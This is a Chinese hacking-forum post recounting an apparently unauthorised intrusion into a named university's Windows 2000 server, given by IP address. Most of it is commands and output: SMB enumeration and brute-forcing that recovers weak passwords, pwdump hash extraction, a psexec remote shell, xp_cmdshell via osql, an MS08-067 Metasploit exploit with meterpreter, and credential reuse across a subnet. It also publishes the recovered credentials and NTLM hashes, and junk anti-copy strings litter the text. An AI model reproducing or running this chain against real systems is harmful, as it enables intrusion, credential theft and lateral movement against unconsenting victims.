中国网络渗透测试联盟

标题: nmap+msf入侵广西师范 [打印本页]

---

作者: admin    时间: 2012-12-4 12:46
标题: nmap+msf入侵广西师范
广西师范网站http://202.103.242.241/

$ F! B  ^& j- O1 k5 N" Hroot@bt:~# nmap -sS -sV 202.103.242.241
( R% m: N0 m3 y' V/ ?. w
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST

7 L9 i; a* h: I7 |& h5 b1 zNmap scan report for bogon (202.103.242.241)
5 Q) r& d, ^/ x$ ~5 Q
5 B4 y: U- c" z: pHost is up (0.00048s latency).
, N' v; J2 }7 W8 O7 E
Not shown: 993 closed ports

( g, f  B! F! Z. N) _PORT     STATE SERVICE       VERSION

135/tcp  open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)

139/tcp  open  netbios-ssn
) t6 G# F8 x) k; @
" N+ q, y+ U+ ?$ Y( D# p445/tcp  open  microsoft-ds  Microsoft Windows 2000 microsoft-ds
/ Y8 Y5 C, |8 i( c7 R
1025/tcp open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
! O5 s# d. Y/ g2 Y, a
  H. H' ~9 U# t) j9 ^1 X, T1026/tcp open  msrpc         Microsoft Windows RPC

3372/tcp open  msdtc?
( H" S2 Q3 z- t5 j) r3 F" q
& v/ s6 \4 B1 |/ r  K  \3389/tcp open  ms-term-serv?
9 v: J- [1 M( k) m6 ?  O; e
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r

SFGetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions

SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)

SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO

1 \2 _7 l4 G- ~& ySF:ptions,6,”hO\n\x000Z”);
7 `! |# N; s( T& i* `6 \8 z
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

& y# |" U1 l5 e2 J9 p; @  ^Service Info: OS: Windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

5 Y2 v/ D9 [( BNmap done: 1 IP address (1 host up) scanned in 79.12 seconds
& Z5 b3 E( f* s) M/ E) a  X2 u
3 j$ Q" j2 x5 H% Z% N3 Kroot@bt:/usr/local/share/nmap/scripts# ls -la | grep smb  //列出扫描脚本

  w7 v# Q2 |2 B7 q-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse

-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse

-rw-r–r– 1 root root  4806 2011-07-09 07:36 smb-enum-domains.nse

-rw-r–r– 1 root root  3475 2011-07-09 07:36 smb-enum-groups.nse
6 ^/ g. M5 }# \
-rw-r–r– 1 root root  7958 2011-07-09 07:36 smb-enum-processes.nse
) o( Y: F3 I9 M; K
-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
% _3 K" G$ Y0 R, P
% @5 o6 W& T- F-rw-r–r– 1 root root  6014 2011-07-09 07:36 smb-enum-shares.nse

8 a: a& z  d( q5 N) f7 E$ k-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse
4 v0 |: M3 Z6 ^& A, b7 v
-rw-r–r– 1 root root  1658 2011-07-09 07:36 smb-flood.nse
6 F, q6 [. f" G7 m# U+ H" G
-rw-r–r– 1 root root  2906 2011-07-09 07:36 smb-os-discovery.nse

-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
6 C6 ?' X" ?8 |+ P; D
-rw-r–r– 1 root root  4362 2011-07-09 07:36 smb-security-mode.nse

$ s+ n- d8 X" Y/ P-rw-r–r– 1 root root  2311 2011-07-09 07:36 smb-server-stats.nse
! L1 |) W/ r0 Y, W+ G8 @
-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse

-rw-r–r– 1 root root  1429 2011-07-09 07:36 smbv2-enabled.nse

6 b( `# t1 j2 N/ _) a" w) b0 I1 t/ `root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241   

//此乃使用脚本扫描远程机器所存在的账户名
( }8 P0 l  m% E2 x
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST

  U) r9 E1 Q7 n& i6 QNmap scan report for bogon (202.103.242.241)

Host is up (0.00038s latency).
" A( J+ t" u0 s9 b5 Y( p0 }
% p( g6 M) p0 LNot shown: 993 closed ports

$ F: _+ z( K8 uPORT     STATE SERVICE

: u9 R3 ?5 v+ ?  k0 b135/tcp  open  msrpc
# e5 g5 r; H; J  ^6 T9 [
139/tcp  open  netbios-ssn
2 G! H% Z* Y2 _1 ^) p
$ H  f/ Z/ ~, h" J; x445/tcp  open  microsoft-ds
  f% A" t8 s+ K1 W+ F+ ^3 f
1025/tcp open  NFS-or-IIS

1026/tcp open  LSA-or-nterm
' M$ Z% q5 r. G% h% o4 [' Y
3372/tcp open  msdtc
2 t" W" N* H! ^" }- o
3389/tcp open  ms-term-serv
3 c4 C$ F1 q& D# \8 J; C
8 n1 J& L2 s) L" U  LMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

- x, M5 ~* a' bHost script results:

| smb-enum-users:
( x  u# M* T2 b0 n
6 R$ }1 n& e( w" i) E2 O/ x+ f|_  Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果

Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds
+ T+ O# R6 C) j" e( T
: f: q& i( }! B; d7 q7 S2 n( Kroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
  d) G& d- j3 J% L
//查看共享
% c  C6 @: i/ `# b
$ t# V5 N0 s" w: yStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
- I4 r, `& Q+ k* b/ M( O+ d' A2 G
9 s( ?& i: a8 ANmap scan report for bogon (202.103.242.241)

8 q$ ~9 ?- U$ [6 \  eHost is up (0.00035s latency).
  x5 ]/ ?% e* W9 I# T
Not shown: 993 closed ports

PORT     STATE SERVICE
# Y/ F3 F7 |! @% X: T
135/tcp  open  msrpc

139/tcp  open  netbios-ssn
+ d" ~5 V5 o7 N% c# f5 W! d
% n4 T8 R5 I  P6 t) p( o1 e( t445/tcp  open  microsoft-ds
7 a, p$ T1 ]% [9 t5 M
- t/ V1 ?7 _' `) t1025/tcp open  NFS-or-IIS

1 o6 X1 l8 w# ]6 [% z! w$ u7 _1026/tcp open  LSA-or-nterm

3372/tcp open  msdtc

3389/tcp open  ms-term-serv
$ ^2 S& t1 n' w
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
5 g: ^3 J% Q+ o: Q3 a
Host script results:

2 i/ \4 _5 C8 U* F: Z6 I3 H2 q) `$ ?| smb-enum-shares:

|   ADMIN$

|     Anonymous access: <none>
9 i+ R; |, W) t/ p( O4 X
|   C$

7 {# ^; g6 m" b! P|     Anonymous access: <none>
; h' A2 H( a% J3 U0 M  Q
|   IPC$
$ K8 Z' h8 G2 i. U" e( {
|_    Anonymous access: READ

Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds

root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241      

  U0 E) k. r! C/ G//获取用户密码

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST
  A/ ]4 k' j; p% }
Nmap scan report for bogon (202.103.242.2418)

Host is up (0.00041s latency).

Not shown: 993 closed ports

PORT     STATE SERVICE

135/tcp  open  msrpc

) w' _5 B) g- u6 l& d& B' u$ s139/tcp  open  netbios-ssn
7 D+ M# ~, L+ _3 L
445/tcp  open  microsoft-ds

1025/tcp open  NFS-or-IIS
& ]! d+ b% F) ^+ A/ v( E! I
1026/tcp open  LSA-or-nterm
& S2 f- B& q; c* i. j: }
3372/tcp open  msdtc

: c" o+ ]7 _7 U) |- T/ z: U  t3389/tcp open  ms-term-serv
7 s  k$ y2 g' l: R/ }6 T; y3 o- H2 e
, `( b- B, e# s; s4 `  i- DMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Host script results:
& V" @8 c% x& t8 m7 |1 b. J# y
5 j3 s, C$ V2 \8 [( B7 a. K1 B| smb-brute:

5 ?+ F. N. _. u& qadministrator:<blank> => Login was successful
; F! R+ l$ D. s! a" h* N; j
|_  test:123456 => Login was successful
. x! W+ H  T/ e3 a0 Z# t' O
2 Z4 h' [2 Q' ^6 k% M2 [Nmap done: 1 IP address (1 host up) scanned in 28.22 seconds

root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
  k7 E# h: \- p3 H) z  r
7 a4 x9 L$ g9 z1 Aroot@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data

root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
; T+ P6 Q; [* R; Z# v
root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139
- \$ {4 A- v+ o5 t; w0 U3 f6 F
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST

; O$ c3 c# }% n3 s& b9 a; q' ~Nmap scan report for bogon (202.103.242.241)

9 ~6 J+ D6 O/ QHost is up (0.0012s latency).
$ `# @  j) |8 C
PORT    STATE SERVICE

2 u$ M& Q4 C" [% \( D, j135/tcp open  msrpc
* N3 l) s- G; P$ ~4 `- X
0 S. R) `; S/ Q8 a, h( O; D3 L139/tcp open  netbios-ssn

- j" j: p" A' E3 D445/tcp open  microsoft-ds
  l( Z/ i! C' a* [* B2 b
9 H, Z! f" w9 a, I0 ^MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Host script results:

/ t$ ]7 q5 x1 z| smb-pwdump:

| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************

5 p1 ]& F2 a7 k+ e5 V% Z0 I2 e. e| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************

6 M2 w/ m& q0 F& h3 P| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
% [# R* p9 E0 u! D% h
|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2

Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
& b8 I; S, c; q: q  Z/ A! r( D2 r4 X
C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241  -u test             //获取一个cmdshell
0 T: X8 x( ]+ Y# m
-p 123456 -e cmd.exe
. r" f) K# C6 A# R) M5 G! Z
1 R9 z4 Y' H' s7 _! FPsExec v1.55 – Execute processes remotely
' N7 x2 B' g: i1 L. G' i4 b
Copyright (C) 2001-2004 Mark Russinovich

Sysinternals – www.sysinternals.com
, A% }4 Q$ O! u) f" y) @
Microsoft Windows 2000 [Version 5.00.2195]

(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>ipconfig
* ?3 b8 F+ e  l/ P* `
Windows 2000 IP Configuration
4 y- @* `# H: G. X* a
Ethernet adapter 本地连接:
4 v3 z$ M' p: M( i+ c& K8 u
6 t6 D$ T4 ]/ X8 w+ r: m/ gConnection-specific DNS Suffix  . :

IP Address. . . . . . . . . . . . : 202.103.242.241
/ _  [9 b+ D0 T$ k4 E
Subnet Mask . . . . . . . . . . . : 255.255.255.0
2 Z& P* X: s7 o( U  _
; c5 E. |; F5 y$ z4 U4 _* O  eDefault Gateway . . . . . . . . . : 202.103.1.1
- f* X1 S3 q- o! k5 o5 a
7 R# I% C  X6 M+ [+ u, LC:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “   //远程登录sa执行命令

root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241     //检测目标机器漏洞
' f- A% R/ P3 T$ O9 J
$ M% k7 s9 [- T+ W. ZStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
+ _# B  U3 d  v5 S
Nmap scan report for bogon (202.103.242.241)
# [& J* Q4 J7 n% m
Host is up (0.00046s latency).
0 M# A, r5 H& D* y: m+ O# b
; l. M1 b* e* b$ w3 O5 W6 |Not shown: 993 closed ports

9 @# z9 K, Q. w$ ?3 A8 v" @PORT     STATE SERVICE

2 ?2 w5 y- B  Y" V135/tcp  open  msrpc
2 T- E, x- T! d( z. Z1 q
( N/ P2 b9 x* i# _5 d139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds

& S# U& l1 y! H8 K3 _6 w7 t1025/tcp open  NFS-or-IIS
+ B+ c3 Y' F8 P+ Y/ U$ W) K
1026/tcp open  LSA-or-nterm

3372/tcp open  msdtc
/ X" I% O; K% K/ s2 }
3389/tcp open  ms-term-serv
/ H$ [, T( c  @1 R
9 Q8 v4 q$ c1 ]5 ]- YMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
2 v+ F( [3 z1 C6 A) [
' H2 u+ P( `% C& P4 uHost script results:

/ d& k7 C& U7 T4 a. B: b| smb-check-vulns:

& O, R! t" V# M) f7 Y9 N& n& Z+ M|_  MS08-067: VULNERABLE

Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
0 _) f! e# D' y! x* U3 u$ D$ y! e
+ X/ Z) ^3 l  Z8 t( U' oroot@bt:~# msfconsole                                             //在msf上利用ms08-067漏洞对目标机器进行溢出
+ t  ^, Z3 m( i2 e
) c1 g( v% T) x! z1 ?/ hmsf > search ms08
) n8 I7 c5 v8 {$ ]( f
msf > use exploit/windows/smb/ms08_067_netapi
. X. b* p2 c2 u* w% k
msf  exploit(ms08_067_netapi) > show options
/ D7 t, O3 q# I! x& b
msf  exploit(ms08_067_netapi) > set RHOST 202.103.242.241
3 F/ n; P7 R3 I0 @" \' C2 n
msf  exploit(ms08_067_netapi) > show payloads
+ m6 b2 C; h. V6 G$ a" q3 M( w( y
: h; W4 z% {8 _1 g) N0 g4 Ymsf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
$ G4 B7 h8 s, N* {& S, E
msf  exploit(ms08_067_netapi) > exploit

meterpreter >

7 b3 R5 H/ W; T3 l9 }Background session 2? [y/N]  (ctrl+z)

9 {$ ^' R  v5 Z5 Y7 s( qmsf  exploit(ms08_067_netapi) > sessions -l

root@bt:/usr/local/share/nmap/scripts# vim usernames.txt

test
* K0 \* G! I4 I$ b) @
4 \, `( L8 y' N' r0 Uadministrator

root@bt:/usr/local/share/nmap/scripts# vim password.txt

44EFCE164AB921CAAAD3B435B51404EE

root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254

  `0 O2 u; t5 I2 d //利用用户名跟获取的hash尝试对整段内网进行登录

7 N+ h- l& [; w, X5 U7 ]Nmap scan report for 192.168.1.105

2 {+ |+ `  W6 b( {) N/ ~7 k+ ]  NHost is up (0.00088s latency).

7 `( z7 J8 P, x3 {, y6 ]- q9 _Not shown: 993 closed ports

PORT     STATE SERVICE

135/tcp  open  msrpc
5 M9 z7 A7 V) p8 W8 e
139/tcp  open  netbios-ssn

: P0 x( [% ?2 ^4 d  p! z5 b' t. K445/tcp  open  microsoft-ds

1025/tcp open  NFS-or-IIS
% k5 F* R8 P4 f
1026/tcp open  LSA-or-nterm

  S: b+ ~8 o6 F6 |, Z" D% L3372/tcp open  msdtc

# J% U7 C) Q/ g& b, r5 F3389/tcp open  ms-term-serv

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Host script results:
/ A( Z6 e( h0 t- c' g8 ]3 ^% z
| smb-brute:

/ X( i  k4 ^" a; n5 |$ @/ u|_  administrator:<blank> => Login was successful
! K: x( D+ C  @2 `- }( e8 |
  [3 j: r2 s3 X( w8 N/ X攻击成功，一个简单的msf+nmap攻击~~·
7 q/ _) A$ U# C

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2